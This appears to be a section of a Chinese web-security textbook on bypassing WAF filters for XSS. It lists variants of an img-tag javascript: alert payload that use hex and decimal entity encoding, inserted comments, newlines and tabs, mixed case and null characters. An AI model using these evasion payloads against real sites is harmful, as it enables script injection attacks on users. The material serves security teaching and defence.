11.3 常见XSS绕过方式

攻防对抗是安全领域的永恒主题,有防御就会有绕过。假设我们的攻击载荷如下:


<IMG SRC=javascript:alert/1/>

我们使用常见的XSS绕过WAF的方式,对该攻击载荷进行免杀处理,各种方式总结如下。

·16进制编码

标签内容被十六进制编码后,浏览器可以正常解析,但是却可以绕过基于规则的WAF。比如字母a对应的ASCII值为97,十六进制对应为0x61或者x61:


<IMG SRC=j&#x61vascript:alert/1/>

也可以在十六进制后面以分号结束,比如:


<IMG SRC=j&#x61;vascript:alert/1/>

也可以在十六进制的数字前面增加8位以内的0,比如:


<IMG SRC=j&#x061;vascript:alert/1/>
<IMG SRC=j&#x00000061;vascript:alert/1/>

·10进制编码

与十六进制类似,也可以通过十进制编码进行绕过:


<IMG SRC=j&#97vascript:alert/1/>
<IMG SRC=j&#97;vascript:alert/1/>
<IMG SRC=j&#097;vascript:alert/1/>
<IMG SRC=j&#0000097;vascript:alert/1/>

·插入注释

标签内容中间插入注释不会影响浏览器的正常解析,但是却可以绕过基于规则的WAF:


<IMG SRC=ja/*88888*/vascript:alert/1/>

·插入回车

与插入注释的情况类似,标签内容中间插入回车不会影响浏览器的正常解析:


<IMG SRC=ja
vascript:alert/1/>

·插入TAB

与插入注释的情况类似,标签内容中间插入TAB不会影响浏览器的正常解析:


<IMG SRC=ja        vascript:alert/1/>

·大小写混淆

标签内容进行大小写混淆不会影响浏览器的正常解析:


<ImG SrC=javascript:alert/1/>

·插入\0字符

标签内容中间插入\0字符不会影响浏览器的正常解析:


<I\0M\0G SRC=javascript:alert/1/>

事实上也可以出现多个0字符:


<I\0000M\000G SRC=javascript:alert/1/>